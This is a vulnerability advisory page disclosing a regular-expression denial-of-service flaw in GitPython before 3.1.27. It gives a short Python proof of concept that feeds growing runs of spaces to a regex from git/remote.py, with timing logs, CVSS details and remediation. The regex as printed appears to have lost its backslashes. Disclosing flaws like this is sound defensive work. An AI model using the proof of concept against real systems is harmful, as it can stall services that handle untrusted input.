--- title: "CX-2022-5030" date: "2022-09-12T07:00:00+00:00" url: "https://checkmarx.com/zero/vulnerabilities/cx-2022-5030/" --- # CX-2022-5030 [Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/) No CVE assigned **Published:** Sep 12, 2022 4.2 Medium Severity Denial expression pypi python redos regular Service @ @theworstcomrade Reported by Checkmarx Zero Details Overview ## Summary ReDoS vulnerability in GitPython. ## Product GitPython prior to 3.1.27. ## Impact This issues may lead to a denial of service if user controls input passed to pattern matching function. ## Steps to reproduce PoC based on code in git/remote.py ```import import re logging.basicConfig(format='%(asctime)s - %(levelname)s: %(message)s', level=logging.DEBUG) pattern = re.compile(r'^s*(.) ([?[ws.$@]+]?)s+(.+) -> ([^s]+)( (.*)?$)?') for i in range(1, 10000): s = ' ' * i * 100 + '->' logging.debug('Started with {} spaces'.format(i * 100)) pattern.match(s) logging.debug('Finished with {} spaces'.format(i * 100)) ``` ### Expected result: Output: ```2022-02-10 2022-02-10 21:05:36,326 - DEBUG: Finished with 100 spaces 2022-02-10 21:05:36,326 - DEBUG: Started with 200 spaces 2022-02-10 21:05:38,765 - DEBUG: Finished with 200 spaces 2022-02-10 21:05:38,765 - DEBUG: Started with 300 spaces 2022-02-10 21:05:50,383 - DEBUG: Finished with 300 spaces 2022-02-10 21:05:50,383 - DEBUG: Started with 400 spaces 2022-02-10 21:06:22,743 - DEBUG: Finished with 400 spaces 2022-02-10 21:06:22,743 - DEBUG: Started with 500 spaces 2022-02-10 21:07:41,996 - DEBUG: Finished with 500 spaces 2022-02-10 21:07:41,997 - DEBUG: Started with 600 spaces 2022-02-10 21:10:23,773 - DEBUG: Finished with 600 spaces 2022-02-10 21:10:23,774 - DEBUG: Started with 700 spaces 2022-02-10 21:15:21,380 - DEBUG: Finished with 700 spaces 2022-02-10 21:15:21,380 - DEBUG: Started with 800 spaces 2022-02-10 21:23:46,983 - DEBUG: Finished with 800 spaces ``` ## Remediation Update GitPython to version 3.1.27. ## Credit This issue was reported by @theworstcomrade through huntr.dev. ## Resources 1. [75f4f63](https://github.com/gitpython-developers/gitpython/commit/75f4f63ab3856a552f06082aabf98845b5fa21e3) 2. [Disclosure](https://huntr.dev/bounties/8549d81f-dc45-4af7-9f2a-2d70752d8524/) 0 Medium Severity CVSS v3.1 Score 4.2 CVSS v3.1 Vectors- Attack Vector: Network - Attack Complexity: High - Privileges Required: High - User Interaction: Required - Scope: Unchanged - Confidentiality Impact: None - Integrity Impact: None - Availability Impact: High Advisory Timeline1. Disclosed Feb 10, 2022 ## Explore more findings [27 Nov 2025 CVE-2025-34281 Stored Cross-Site Scripting (XSS) in ThingsBoard 6.2 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825 HTTP Response Splitting in cpp-httplib 6.9 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050 Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface 4.8 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374 Code Injection in UltiMaker Cura 7.8 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526 Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497 Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496 Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [ 14 Nov 2024 CVE-2024-51495 Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field 7.5 Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494 Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352 Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351 Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350 Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)